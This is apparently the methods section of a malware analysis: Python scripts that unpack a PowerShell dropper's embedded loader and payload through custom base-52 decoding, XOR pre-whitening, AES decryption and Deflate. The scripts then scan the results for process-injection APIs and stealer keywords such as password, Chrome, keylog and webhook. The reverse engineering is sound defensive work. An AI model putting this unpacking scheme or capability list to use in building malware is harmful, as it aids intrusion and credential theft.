Two scripts produced §2.5’s findings. The first takes final_payload.bin — the Stage-4 PowerShell script recovered per §2.4 — extracts its two embedded blobs ($c1/$k1/$v1 and $c2/$k2/$v2), replicates PowerShell’s parseConfig (custom base-52 decoder) and initializeComponent (rotate+XOR pre-whitening -> AES-256-CBC decrypt -> raw-Deflate decompress) exactly, and writes out the two resulting PE files plus their SHA-256/MD5 hashes:
import re, io
from Crypto.Cipher import AES
PAYLOAD = r"C:\Users\Ashura\AppData\Local\Temp\claude\C--Users-Ashura-Desktop\4be520e7-3601-4b09-acfa-7a6a199bf95d\scratchpad\vbswork\final_payload.bin"
data = io.open(PAYLOAD, encoding="utf-8-sig").read()
lines = data.split("\n")
def get_quoted(line):
m = re.search(r"'([^']*)'", line)
return m.group(1)
def get_bytearray(line):
m = re.search(r"=\s*(.+)$", line)
vals = [int(x.strip(), 16) for x in m.group(1).split(",")]
return bytes(vals)
c1_s = get_quoted(lines[35])
k1 = get_bytearray(lines[36])
v1 = get_bytearray(lines[37])
c2_s = get_quoted(lines[39])
k2 = get_bytearray(lines[40])
v2 = get_bytearray(lines[41])
print("c1 str len", len(c1_s), "k1 len", len(k1), "v1 len", len(v1))
print("c2 str len", len(c2_s), "k2 len", len(k2), "v2 len", len(v2))
def parseConfig(s):
lut = {}
ai = 0
for c in list(range(65,91)) + list(range(97,123)):
lut[c] = ai
ai += 1
n = len(s)
out = bytearray()
i = 0
sc = [ord(ch) for ch in s]
while i < n:
r = n - i
if r >= 10:
v = lut[sc[i]]
for q in range(1,10):
v = v*52 + lut[sc[i+q]]
chunk = bytearray(7)
for q in range(6,-1,-1):
chunk[q] = v & 0xFF
v >>= 8
out += chunk
i += 10
else:
if r == 9: nb = 6
elif r == 8: nb = 5
elif r == 6: nb = 4
elif r == 5: nb = 3
elif r == 3: nb = 2
elif r == 2: nb = 1
else: break
v = lut[sc[i]]
for q in range(1, r):
v = v*52 + lut[sc[i+q]]
chunk = bytearray(nb)
for q in range(nb-1,-1,-1):
chunk[q] = v & 0xFF
v >>= 8
out += chunk
i += r
return bytes(out)
c1 = parseConfig(c1_s)
c2 = parseConfig(c2_s)
print("c1 decoded bytes:", len(c1))
print("c2 decoded bytes:", len(c2))
def initializeComponent(s, k, v):
s = bytearray(s)
kl = len(k)
rots = [1,4,2,5,3]
for i in range(len(s)):
b = s[i]
r = rots[i % 5]
rotated = ((b >> r) | (b << (8 - r))) & 0xFF
s[i] = (rotated ^ k[i % kl] ^ 0x5A) & 0xFF
cipher = AES.new(k, AES.MODE_CBC, iv=v)
pt = cipher.decrypt(bytes(s))
pad = pt[-1]
if 1 <= pad <= 16 and pt[-pad:] == bytes([pad])*pad:
pt = pt[:-pad]
import zlib
# .NET DeflateStream = raw deflate, no zlib/gzip header
decompressed = zlib.decompressobj(-15).decompress(pt)
return decompressed
b1 = initializeComponent(c1, k1, v1)
print("b1 (loader .NET assembly) decompressed len:", len(b1), "magic:", b1[:4])
b2 = initializeComponent(c2, k2, v2)
print("b2 (final PE payload) decompressed len:", len(b2), "magic:", b2[:4])
OUT_DIR = r"C:\Users\Ashura\AppData\Local\Temp\claude\C--Users-Ashura-Desktop\4be520e7-3601-4b09-acfa-7a6a199bf95d\scratchpad\vbswork"
io.open(OUT_DIR + r"\b1_loader.bin", "wb").write(b1)
io.open(OUT_DIR + r"\b2_final_payload.bin", "wb").write(b2)
print("written b1_loader.bin, b2_final_payload.bin")
import hashlib
for name, b in [("b1_loader", b1), ("b2_final_payload", b2)]:
print(name, "sha256:", hashlib.sha256(b).hexdigest(), "md5:", hashlib.md5(b).hexdigest())
The second runs against the two files that the above script produces (b1_loader.bin, b2_final_payload.bin) — it parses each PE header for the compile timestamp and .NET markers (BSJB metadata magic, the v4.0.30319 runtime string), and extracts printable ASCII/UTF-16LE strings to search for the identity/injection-primitive and RAT/stealer-capability keywords that populate this section’s findings and the capability table:
import re, struct, datetime
def pe_header_info(fn):
data = open(fn, 'rb').read()
e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
sig = data[e_lfanew:e_lfanew+4]
machine, nsec = struct.unpack_from('<HH', data, e_lfanew+4)
timestamp = struct.unpack_from('<I', data, e_lfanew+8)[0]
ts = datetime.datetime.utcfromtimestamp(timestamp) if 0 < timestamp < 2**31 else 'invalid'
print(fn, 'sig', sig, 'machine', hex(machine), 'sections', nsec, 'timestamp', timestamp, ts)
print(' is .NET (BSJB metadata magic present)?', b'BSJB' in data)
print(' is .NET (v4.0.30319 runtime string present)?', b'v4.0.30319' in data)
def extract_strings(fn):
data = open(fn, 'rb').read()
utf16 = re.compile(rb'(?:[\x20-\x7e]\x00){5,}')
strs_u16 = {m.group().decode('utf-16le') for m in utf16.finditer(data)}
ascii_re = re.compile(rb'[\x20-\x7e]{5,}')
strs_ascii = {m.group().decode('ascii') for m in ascii_re.finditer(data)}
return strs_ascii | strs_u16
for fn in ['b1_loader.bin', 'b2_final_payload.bin']:
pe_header_info(fn)
print()
print('--- b1_loader.bin: loader-assembly identity / injection primitives ---')
b1_strings = extract_strings('b1_loader.bin')
for k in ['NebulaCactus', 'OrbitSalsa', 'Roguelike', 'CreateProcess',
'WriteProcessMemory', 'NtUnmapViewOfSection', 'ResumeThread',
'GetThreadContext', 'SetThreadContext', 'ZwUnmapViewOfSection', '.exe']:
hits = [s for s in b1_strings if k in s]
print(k, '=>', hits[:5])
print()
print('--- b2_final_payload.bin: RAT/stealer capability keyword scan ---')
b2_strings = extract_strings('b2_final_payload.bin')
kws = ['RAT', 'Client', 'Server', 'Stub', 'Mutex', 'Async', 'Quasar', 'Xworm',
'DcRat', 'njRat', 'Remcos', 'Discord', 'webhook', 'Telegram', 'bot',
'http://', 'https://', '.onion', 'password', 'Chrome', 'Grabber',
'Stealer', 'keylog', 'Keylog', 'Socket', 'Port', 'Host', 'C2',
'config', 'Config']
for k in kws:
hits = [s for s in b2_strings if k.lower() in s.lower()]
if hits:
print(k, '=>', hits[:8])